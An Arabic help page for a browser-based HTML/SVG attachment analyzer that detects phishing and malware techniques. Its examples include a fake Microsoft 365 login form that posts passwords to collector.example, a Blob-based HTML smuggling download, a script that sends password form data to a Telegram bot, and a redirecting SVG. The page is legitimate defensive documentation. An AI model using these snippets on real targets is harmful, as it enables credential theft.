انزع طبقات Base64 والست عشري وترميز URL وgzip وdeflate حتى يبقى نص مقروء.
محلّل مرفقات HTML
الأداة نفسها باللغة الإنجليزية؛ وهذه الصفحة تشرحها بلغتك.
استخدم محلّل مرفقات HTML
ما الذي يفعله
حمّل مرفق HTML أو SVG أو الصقه لترى ما الذي سيفعله لو فُتح: تنزيلات مخفية، ونماذج ترسل كلمة المرور إلى مكان آخر، وعمليات إعادة توجيه، ونقاط تسريب البيانات، وشيفرة مموّهة. يُقرأ الملف كنص ولا يُعرض ولا يُشغَّل أبدًا.
يعمل التطبيق بالكامل داخل متصفحك: ولا يتم تحميل أي شيء تدخله.
كيفية استخدام محلّل مرفقات HTML
- لا تفتح الملف. احفظ المرفق بامتداد .html أو .htm أو .shtml أو .xhtml أو .svg دون فتحه، أو انسخ مصدره كنص.
- حمّله أو الصقه. اسحب الملف إلى المربع أو اختره (حتى 25 ميغابايت)، أو الصق المصدر (حتى 5 ميغابايت) واضغط Analyze (تحليل) أو Ctrl+Enter.
- اقرأ الحكم. يقول المربع العلوي High risk أو Suspicious أو No high-risk patterns found، مع الفئات التي يستند إليها وأعداد النتائج ومؤشرات الاختراق والكتل المضمّنة.
- راجع النتائج. تعرض كل نتيجة درجة خطورتها وفئتها ورقم السطر والشيفرة المطابقة، مع الروابط والعناوين بصيغة محيَّدة.
- صدّر ما وجدته. انسخ مؤشرات الاختراق محيَّدة أو خامًا، أو استخدم Send to لتمريرها إلى IOC Converter أو Abuse Report Generator، أو إلى Multi-Layer Decoder في حالة الكتلة المضمّنة.
مثال
نموذج تسجيل دخول بعنوان معبأ مسبقًا
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…خطورة عالية: يرسل نموذج تسجيل الدخول كلمة المرور إلى collector[.]example، ويذكر العنوان Microsoft 365 بجوار حقل كلمة مرور، ويملأ السكربت عنوان البريد الإلكتروني من جزء الرابط (fragment) باستخدام atob. وتضم قائمة مؤشرات الاختراق (IOC) رابط الجمع ونطاقه بصيغة محيَّدة.
ما الذي يتحقق منه
| إشارة | ماذا يعني ذلك |
|---|---|
| تهريب HTML | عالية الخطورة عندما تبني الصفحة ملفًا في الذاكرة (Blob مع createObjectURL أو رابط تنزيل، أو msSaveOrOpenBlob) وتعرضه للتنزيل. |
| النماذج | أي نموذج يرسل إلى موقع آخر يُصنَّف عالي الخطورة، ويذكر العنوان ما إذا كان يحمل كلمة مرور. ويسرد جدول Forms وجهة إرسال كل نموذج وطريقته وحقوله. |
| نقاط تسريب البيانات | استدعاءات Telegram Bot API، ورموز البوتات، وwebhooks في Discord، وخدمات جمع النماذج مثل formspree.io أو webhook.site تُصنَّف عالية الخطورة. |
| التمويه | atob وunescape وfromCharCode وسلاسل الهروب (escape) الطويلة ومخرجات أدوات التمويه المعروفة. وتُفك السلاسل المرمَّزة الحرفية دون تشغيلها. |
| الشيفرة الديناميكية | eval ومُنشئ Function وdocument.write وعمليات الإسناد إلى innerHTML تبني شيفرة أو ترميزًا أثناء التشغيل. |
| عمليات إعادة التوجيه | تغييرات location وwindow.open وmeta refresh وقراءة جزء الرابط (fragment)، حيث كثيرًا ما تمرر الأدوات الاحتيالية عنوان البريد الإلكتروني للضحية. |
| مقاومة التحليل | حظر النقر بزر الفأرة الأيمن أو F12، وعبارات debugger، واكتشاف أدوات المطوّرين، وفحوص المتصفحات الآلية. |
| المحتوى المضمّن | روابط data: URI، وكتل Base64 أو الكتل الست عشرية الطويلة ونوع الملف الذي يُفك ترميزها إليه، وإطارات iframe المخفية، وملفات SVG التي تحتوي على سكربت. |
| تلميحات العلامات التجارية | أسماء العلامات التجارية في العنوان أو الشعارات أو الروابط. وبجوار حقل كلمة مرور يُصنَّف ذلك متوسط الخطورة. |
المزيد من الأمثلة
تنزيل يُبنى داخل المتصفح
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>High risk، والسبب HTML smuggling: نتيجة واحدة عالية الخطورة (تجمّع الصفحة ملفًا في المتصفح وتعرضه للتنزيل) و4 نتائج متوسطة لـ atob وnew Blob وURL.createObjectURL والسمة download. لا توجد مؤشرات اختراق.
كلمة مرور تُرسل إلى بوت Telegram
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>High risk، والسبب Data exfiltration: يرسل سكربت بيانات من صفحة فيها حقل كلمة مرور إلى api.telegram.org، إضافة إلى نتيجة نقطة Telegram Bot API. وتغطي النتائج المتوسطة fetch وحقل كلمة المرور ونموذج تسجيل دخول بلا action خارجي.
صورة SVG تعيد التوجيه
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>High risk: ملف SVG يحتوي على سكربت، إضافة إلى نتيجة إعادة توجيه متوسطة ونتيجة btoa منخفضة. تظهر الوجهة تحت Requests and redirects كموقع آخر، ويُستبعد رابط مساحة أسماء XML من مؤشرات الاختراق.
الأسئلة الشائعة
عمّ يبحث المحلّل؟
يطابق الشيفرة المصدرية مع قواعد لتهريب HTML (Blob وcreateObjectURL وmsSaveOrOpenBlob وروابط التنزيل وdata: URI وكتل Base64 الطويلة)، والنماذج والسكربتات التي ترسل البيانات إلى مواقع أخرى، والتسريب عبر Telegram وDiscord، وعمليات إعادة التوجيه، وإطارات iframe المخفية، وأدوات التمويه، وحيل مقاومة التحليل. ويفك أيضًا ترميز القيم الحرفية لـ atob وunescape وfromCharCode دون تشغيلها، ويسرد كل رابط URL ونطاق وعنوان IP وعنوان بريد إلكتروني يعثر عليه، بصيغة محيَّدة.
هل يمكن أن يفوته شيء أو أن يطلق إنذارًا كاذبًا؟
نعم. يمكن للشيفرة المشفرة أو المولَّدة أثناء التشغيل أن تخفي سلوكها عن الفحص الثابت، كما أن الصفحات العادية تستخدم أيضًا fetch أو innerHTML أو الصور المضمّنة، لذا اقرأ الشيفرة المطابقة المعروضة بجوار كل نتيجة. ولفك التمويه والمحاكاة في بيئة معزولة استخدم JS Analyzer.
هل يُرفع الملف أو يُفتح؟
لا. يُقرأ الملف كنص داخل متصفحك ولا يُعرض ولا يُنفَّذ ولا يُرسل إلى أي مكان. تُقبل الملفات حتى 25 ميغابايت؛ وفي الملفات الكبيرة جدًا تُفحص أول 4 ميغابايت وآخر 1 ميغابايت من الترميز، وتُحصى الكتل المضمّنة في الملف كله.
لماذا تُفحص صورة SVG كما تُفحص صفحة ويب؟
ملفات SVG هي XML تفتحها المتصفحات كما تفتح الصفحات، لذا يمكنها حمل سكربتات وروابط وHTML مضمّن. والصورة لا تحتاج إلى سكربت، لذا يُصنَّف السكربت داخل SVG عالي الخطورة.
ما الكتل المضمّنة؟
سلاسل Base64 أو ست عشرية أو مصفوفات بايتات طويلة داخل الملف. يُفك ترميزها في الذاكرة وتوسم بنوع الملف الذي تتحول إليه؛ ويمكنك نسخ إحداها أو إرسال كتلة نصية إلى Multi-Layer Decoder.
ماذا تعني مستويات الخطورة؟
تشير High إلى أنماط تعتمد عليها مرفقات التصيد والبرمجيات الخبيثة، مثل التهريب أو نقاط التسريب أو نموذج كلمة مرور يرسل إلى مكان آخر. وتغطي Medium تقنيات تستخدمها الصفحات العادية أيضًا. ونتيجة واحدة عالية الخطورة تجعل الحكم High risk.